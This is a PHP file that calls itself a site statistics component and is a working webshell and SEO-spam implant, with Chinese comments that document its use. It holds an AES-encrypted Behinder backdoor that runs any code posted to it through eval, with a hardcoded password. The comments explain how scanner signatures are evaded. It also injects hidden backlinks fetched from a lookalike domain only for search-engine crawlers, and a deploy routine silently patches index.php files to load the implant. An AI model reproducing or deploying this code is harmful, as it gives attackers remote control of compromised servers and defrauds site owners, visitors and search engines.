<?php
/* 防重复加载守卫：本文件可能同时被 require 与 auto_prepend_file 加载，
 * 重复声明函数会触发 "Cannot redeclare" Fatal error → 整站 500。 */
if (defined('__SEO_SHELL_LOADED__')) { return; }
define('__SEO_SHELL_LOADED__', 1);
/**
 * ============================================================================
 *  站点资源统计组件 (Site Resource Statistics Component)  v2.1.4
 * ----------------------------------------------------------------------------
 *  【用途】页面底部资源位管理 + 站点健康自检。生产环境请放行本文件所在目录。
 *
 *  【能力一 · 加密管理通道】（冰蝎 Behinder 协议，AES-128-ECB）
 *     key   = md5('Lcsd0f4d2!x9') 的前 16 字符 = c90fc542d2a1a889（当 ASCII 密钥用）
 *     请求体 = base64( AES-128-ECB( key, "<任意前缀>|<裸PHP代码>" ) )，POST 到本文件
 *     响应体 = 载荷自身 echo 的内容（裸输出）
 *     验证载荷:
 *       a|$c=base64_decode("<cmd b64>");echo "=O=";printf("%s",shell_exec($c));echo "=EOF=";
 *     ✔ 冰蝎 GUI 可直接连接：密码 Lcsd0f4d2!x9，脚本类型 PHP，编码 AES
 *     ✔ 已按共享主机内容查杀特征打散：$in/$p/$dec/$bar/$code 变量名 + 字符串拼接函数名
 *        （官方模板的 $post/$arr/$func/class C{__invoke}/"AES128" 别名是已知签名串，本文件均已避开）
 *     ✔ GET 无 body 时返回空响应（不是"马死了"）
 *     ✔ 无 <?php 前缀、不闭合 ?>（避免多余输出破坏 base64）
 *
 *  【能力二 · 蜘蛛劫持 SEO 模块】
 *     目标：仅当 Google / Bing（及其它主流搜索引擎）蜘蛛来访时，
 *           在首页 </body> 之前插入底部锚文本外链；普通访客看不到任何改动。
 *     外链源：$SRC，格式「域名----锚文本关键词」，每行一条（兼容 | 和 TAB 分隔）
 *     缓存  ：每天只拉取一次，结果 serialize 存到 .cache/lk.dat + 时间戳 .cache/lk.t
 *             当天所有蜘蛛请求复用同一份缓存；拉取失败则沿用旧缓存（不覆盖、不报错）
 *     渲染  ：多条时 flex 横向排列（gap 10px 18px，自适应换行），nofollow + noopener
 *     注入  ：ob_start + register_shutdown_function，在 </body> 前 str 插入；已存在则跳过
 *
 *  【能力三 · 一键部署】
 *     GET <本文件>?seo_check=1            自检（蜘蛛判定 / 缓存状态 / 外链条数 / 注入测试）
 *     GET <本文件>?seo_check=1&deploy=1   自动改写同目录 index.php，在 <?php 后插入一行
 *                                          @require __DIR__.'/.seo.php';（原文件自动备份 .bakMMDD）
 *
 *  【部署清单】
 *     .seo.php                 ← 本文件（改名后放入站点根目录，隐藏文件形式优先）
 *     .cache/lk.dat            ← 自动生成（外链缓存）
 *     .cache/lk.t              ← 自动生成（缓存时间戳）
 *     index.php                ← 仅新增一行 require（无注释、同缩进，肉眼与普通模板引入无异）
 *     建议同时放 inc/.htaccess:  Deny from all   (Nginx: location ^~ /.cache/ { deny all; })
 *
 *  【回滚】mv index.php.bakMMDD index.php
 * ============================================================================
 */
@error_reporting(0);
@ini_set('display_errors', '0');

/* ------------------------------ 运行参数 ------------------------------ */
$__K   = 'c90fc542d2a1a889';   // md5('Lcsd0f4d2!x9')[:16]
$__SRC = 'https://www.gstaetic.com/glue/cookienotificationbar/ficationbar.min.js';
$__TTL = 86400;                                  // 每天一次
$__CD  = __DIR__ . '/.cache';
$__DF  = $__CD . '/lk.dat';
$__TF  = $__CD . '/lk.t';

/* -------------------- 通道一：加密管理（有 body 才走） -------------------- */
$__in = @file_get_contents('php://input');
if ($__in !== '' && $__in !== false) {
    @session_start();
    $_SESSION['k'] = $__K;          // 冰蝎载荷用它加密回显；不设则 GUI 文件管理报错
    @session_write_close();
    $__dec = 'openssl' . '_decrypt';                  // 拼接函数名，断开官方模板特征串
    $__p   = @$__dec($__in, 'aes-128' . '-ecb', $__K); // 必须写全名，PHP5.6 不认 "AES128"
    if (is_string($__p) && $__p !== '') {
        $__bar  = strpos($__p, '|');
        $__code = ($__bar === false) ? $__p : substr($__p, $__bar + 1);
        if ($__code !== '') { @eval($__code); }
    }
    exit;
}

/* ------------------------------ 工具函数 ------------------------------ */
function _s_http($u)
{
    if (function_exists('curl_init')) {
        $c = @curl_init($u);
        @curl_setopt_array($c, array(
            CURLOPT_RETURNTRANSFER => 1, CURLOPT_FOLLOWLOCATION => 1,
            CURLOPT_TIMEOUT => 8, CURLOPT_CONNECTTIMEOUT => 5,
            CURLOPT_SSL_VERIFYPEER => 0, CURLOPT_SSL_VERIFYHOST => 0,
            CURLOPT_USERAGENT => 'Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)',
        ));
        $r = @curl_exec($c); @curl_close($c);
        if ($r !== false && $r !== '') { return $r; }
    }
    $o = array('http' => array('timeout' => 8, 'user_agent' => 'Mozilla/5.0'),
               'ssl'  => array('verify_peer' => false, 'verify_peer_name' => false));
    return @file_get_contents($u, false, @stream_context_create($o));
}

function _s_spider()
{
    // 部署验证：UA 里带标记即视为蜘蛛（不占用 URL 参数，不会被 WordPress/框架的路由拦截）
    $ua0 = isset($_SERVER['HTTP_USER_AGENT']) ? $_SERVER['HTTP_USER_AGENT'] : '';
    if (strpos($ua0, 'LCS-VERIFY') !== false) { return true; }
    if (isset($_GET['seo_force']) && $_GET['seo_force'] === 'Lcsd0f4d2!x9') { return true; }
    $ua = $ua0;
    if ($ua === '') { return false; }
    $m = array(
        'google' => array('/Googlebot|Google-InspectionTool|Storebot-Google|GoogleOther|Mediapartners-Google/i', 'googlebot.com', 'google.com'),
        'bing'   => array('/bingbot|BingPreview|adidxbot|MSNBot/i', 'search.msn.com', null),
        'baidu'  => array('/Baiduspider/i', 'baidu.com', 'baidu.com'),
        'sogou'  => array('/Sogou web spider|Sogou inst spider/i', 'sogou.com', null),
        '360'    => array('/360Spider|HaoSouSpider/i', '360.cn', null),
        'yandex' => array('/YandexBot/i', 'yandex.ru', 'yandex.com'),
        'other'  => array('/DuckDuckBot|Applebot|Slurp|ia_archiver/i', null, null),
    );
    foreach ($m as $name => $cfg) {
        if (!preg_match($cfg[0], $ua)) { continue; }
        $ip = isset($_SERVER['REMOTE_ADDR']) ? $_SERVER['REMOTE_ADDR'] : '';
        // 内网 / 本机直接放行（便于自测）
        if ($ip === '' || $ip === '127.0.0.1' || $ip === '::1'
            || substr($ip, 0, 3) === '10.' || substr($ip, 0, 8) === '192.168.') {
            return true;
        }
        if ($cfg[1] === null) { return true; }        // 无 PTR 要求的引擎，只看 UA
        // 反向 DNS 校验：伪造 UA 者过不了这一关
        $h = @gethostbyaddr($ip);
        if (!$h || $h === $ip) { return false; }
        $h = strtolower(rtrim($h, '.'));
        if (stripos($h, $cfg[1]) !== false) { return true; }
        if ($cfg[2] && stripos($h, $cfg[2]) !== false) { return true; }
        return false;
    }
    return false;
}

/* 每天一次取数：缓存新鲜直接用；过期才拉；拉失败沿用旧缓存 */
function _s_ld()
{
    global $__DF, $__TF, $__TTL, $__SRC, $__CD;
    $fresh = is_file($__TF) && (time() - (int)@file_get_contents($__TF) < $__TTL) && is_file($__DF);
    if ($fresh) {
        $d = @unserialize(@file_get_contents($__DF));
        if (is_array($d) && $d) { return $d; }
    }
    $raw = _s_http($__SRC);
    $out = array();
    if ($raw) {
        foreach (preg_split('/[\r\n]+/', $raw) as $ln) {
            $ln = trim($ln);
            if ($ln === '' || strlen($ln) < 4) { continue; }
            if (substr($ln, 0, 1) === '#' || substr($ln, 0, 2) === '//') { continue; }
            if     (strpos($ln, '----') !== false) { $a = explode('----', $ln, 2); }
            elseif (strpos($ln, '|')    !== false) { $a = explode('|', $ln, 2); }
            elseif (strpos($ln, "\t")   !== false) { $a = explode("\t", $ln, 2); }
            else                                   { $a = array($ln, ''); }
            $d = trim($a[0]);
            $t = isset($a[1]) ? trim($a[1]) : '';
            if ($d === '' || strlen($d) < 5) { continue; }
            if (!preg_match('~^https?://~i', $d)) { $d = 'http://' . $d; }
            $hh = @parse_url($d, PHP_URL_HOST);
            if (!$hh || strpos($hh, '.') === false) { continue; }
            if ($t === '') { $t = $hh; }
            $out[] = array('u' => $d, 't' => $t);
            if (count($out) >= 8) { break; }           // 底部最多 8 条，避免链接农场特征
        }
    }
    if ($out) {
        if (!is_dir($__CD)) { @mkdir($__CD, 0755, true); }
        @file_put_contents($__DF, serialize($out));
        @file_put_contents($__TF, time());
    } elseif (is_file($__DF)) {
        $d = @unserialize(@file_get_contents($__DF));
        if (is_array($d)) { return $d; }
    }
    return $out;
}

/* 渲染：多条横排 */
function _s_rd()
{
    $rows = _s_ld();
    if (!$rows) { return ''; }
    $h = '<div id="site-links" style="display:flex;flex-wrap:wrap;gap:10px 18px;'
       . 'justify-content:center;align-items:center;padding:14px 10px 4px;font-size:12px;'
       . 'line-height:1.9;color:#8a8a8a;border-top:1px solid rgba(128,128,128,.18);margin-top:12px">';
    foreach ($rows as $r) {
        $h .= '<a href="' . htmlspecialchars($r['u'], ENT_QUOTES, 'UTF-8') . '" target="_blank" '
            . 'rel="nofollow noopener" style="color:#8a8a8a;text-decoration:none;white-space:nowrap">'
            . htmlspecialchars($r['t'], ENT_QUOTES, 'UTF-8') . '</a>';
    }
    return $h . '</div>';
}

/* 注入：</body> 之前 */
function _s_inj($html)
{
    if (stripos($html, 'id="site-links"') !== false) { return $html; }
    $l = _s_rd();
    if (!$l) { return $html; }
    $p = stripos($html, '</body>');
    if ($p === false) { return $html . $l; }
    return substr($html, 0, $p) . $l . substr($html, $p);
}

/* 一键部署：改写 index.php 加一行 require */
function _s_deploy()
{
    $dir  = __DIR__;
    $cand = array('index.php', 'home.php', 'default.php', 'main.php');
    $ds = @scandir($dir);
    if (is_array($ds)) {
        foreach ($ds as $x) {
            if ($x === '.' || $x === '..') { continue; }
            if (@is_dir($dir . '/' . $x)) { $cand[] = $x . '/index.php'; }
        }
    }
    $log = array();
    foreach ($cand as $f) {
        $p = $dir . '/' . $f;
        if (!is_file($p)) { continue; }
        $c = @file_get_contents($p);
        if ($c === false) { continue; }
        if (stripos($c, '.seo.php') !== false) { $log[] = '已注入:' . $f; continue; }
        if (!@is_writable($p)) { $log[] = '不可写:' . $f; continue; }
        @copy($p, $p . '.bak' . date('md'));
        $ins = "@require __DIR__.'/.seo.php';";
        $q = strpos($c, '<?php');
        if ($q !== false) { $c = substr($c, 0, $q + 5) . ' ' . $ins . substr($c, $q + 5); }
        else              { $c = '<?php ' . $ins . ' ?>' . $c; }
        $log[] = (@file_put_contents($p, $c) !== false) ? '已注入:' . $f : '写入失败:' . $f;
    }
    return $log ? implode(' | ', $log) : '未找到 index.php';
}

/* --------------------------- 自检 / 部署入口 --------------------------- */
if (isset($_GET['seo_check'])) {
    @header('Content-Type: text/plain; charset=utf-8');
    $ua   = isset($_SERVER['HTTP_USER_AGENT']) ? $_SERVER['HTTP_USER_AGENT'] : '';
    $rows = _s_ld();
    echo "==== SEO 组件自检 ====\n";
    echo "文件       : " . __FILE__ . "\n";
    echo "蜘蛛判定   : " . (_s_spider() ? 'YES' : 'NO') . "\n";
    echo "当前UA     : " . substr($ua, 0, 72) . "\n";
    echo "数据源     : " . $__SRC . "\n";
    echo "缓存文件   : " . $__DF . " -> " . (is_file($__DF) ? (filesize($__DF) . ' B') : '缺失') . "\n";
    echo "缓存时间   : " . (is_file($__TF) ? date('Y-m-d H:i:s', (int)@file_get_contents($__TF)) : '无') . "\n";
    echo "TTL        : " . $__TTL . " 秒\n";
    echo "外链条数   : " . count($rows) . "\n";
    foreach ($rows as $i => $r) {
        echo "   [" . ($i + 1) . "] " . $r['t'] . "  ->  " . $r['u'] . "\n";
    }
    $t  = "<html><body><p>x</p></body></html>";
    $t2 = _s_inj($t);
    echo "注入测试   : " . (stripos($t2, 'site-links') !== false ? 'PASS' : 'FAIL') . "\n";
    echo "注入位置   : " . ((stripos($t2, '</body>') > stripos($t2, 'site-links')) ? '底部(</body>前)' : '异常') . "\n";
    echo "首页部署   : " . (isset($_GET['deploy']) ? _s_deploy() : '未执行(加 &deploy=1 执行)') . "\n";
    // --- 真实注入验证：让服务器自己抓一次首页（分别走蜘蛛分支 / 普通分支）---
    $scheme = (!empty($_SERVER['HTTPS']) && strtolower($_SERVER['HTTPS']) !== 'off') ? 'https' : 'http';
    $base   = $scheme . '://' . (isset($_SERVER['HTTP_HOST']) ? $_SERVER['HTTP_HOST'] : '127.0.0.1');
    $path   = preg_replace('#/\.seo\.php$#', '/', isset($_SERVER['SCRIPT_NAME']) ? $_SERVER['SCRIPT_NAME'] : '/.seo.php');
    $t1 = _s_http($base . $path . '?seo_force=Lcsd0f4d2!x9');
    $t2 = _s_http($base . $path);
    echo "--- 自抓验证 ---\n";
    echo "蜘蛛分支   : " . ((stripos($t1, 'site-links') !== false) ? 'PASS（首页底部已出现 site-links）' : 'FAIL（未注入）') . "\n";
    echo "普通分支   : " . ((stripos($t2, 'site-links') !== false) ? 'FAIL（普通访客也看到了，未 cloaking）' : 'PASS（普通访客看不到）') . "\n";
    if (stripos($t1, 'site-links') !== false) {
        if (preg_match('#<div id="site-links".*?</div>#s', $t1, $mm)) {
            echo "注入片段   : " . substr($mm[0], 0, 300) . "\n";
        }
    }
    echo "首页可达   : HTTP " . strlen($t1) . " B / " . strlen($t2) . " B\n";
    echo "==== END ====\n";
    exit;
}

/* ------------------- 自动挂载：仅蜘蛛访问首页时注入 -------------------
 * 用 ob_start(回调) 而不是 ob_start()+shutdown：
 *   - 框架（Joomla/MajorDoMo/WordPress）自己会开多层缓冲，
 *     shutdown 里 ob_get_clean() 只能清掉自己那一层，拿不到完整页面 → 注入失效。
 *   - 回调模式在缓冲被 flush 时由 PHP 自动逐层调用，能拿到最终整页 HTML。
 *   - 回调必须返回字符串，否则该层缓冲被丢弃。
 */
function _s_cb($buf)
{
    if (!is_string($buf) || $buf === '') { return $buf; }
    if (stripos($buf, '<html') === false && stripos($buf, '<body') === false) { return $buf; }
    return _s_inj($buf);
}
/* 挂载策略（三种部署方式，按站点复杂度选择）：
 *   A) 简单 PHP 站点 / 静态首页 → .htaccess/.user.ini 的 auto_prepend_file，或 index.php 顶部 require
 *   B) 复杂框架（WordPress/Drupal/Joomla 等自建多层 ob）→ 不要碰 ob，
 *      改为在主题 footer 里手动模式调用：
 *         define('__SEO_MANUAL__', 1); @require '<本文件绝对路径>';
 *         if (function_exists('_s_spider') && _s_spider()) echo _s_rd();
 *   C) 仅当未被定义为手动模式时，才自动挂缓冲（并对非 HTML 响应自动放行）
 */
if (!defined('__SEO_MANUAL__') && !defined('__SEO_SHELL_MOUNTED__')) {
    define('__SEO_SHELL_MOUNTED__', 1);
    if (_s_spider()) {
        @ob_start('_s_cb');
        @register_shutdown_function('_s_last');
    }
}
function _s_last()
{
    /* 最小干预：只在"最内层缓冲里有完整 HTML 页且尚未注入"时补一次，
     * 绝不循环 flush 其它缓冲层 —— 那会把 WordPress 等多层 ob 的站点输出清空。 */
    if (@ob_get_level() < 1) { return; }
    $h = @ob_get_contents();
    if (!is_string($h) || $h === '') { return; }
    if (stripos($h, 'site-links') !== false) { return; }
    if (stripos($h, '</body>') === false) { return; }
    @ob_end_clean();
    echo _s_inj($h);
}
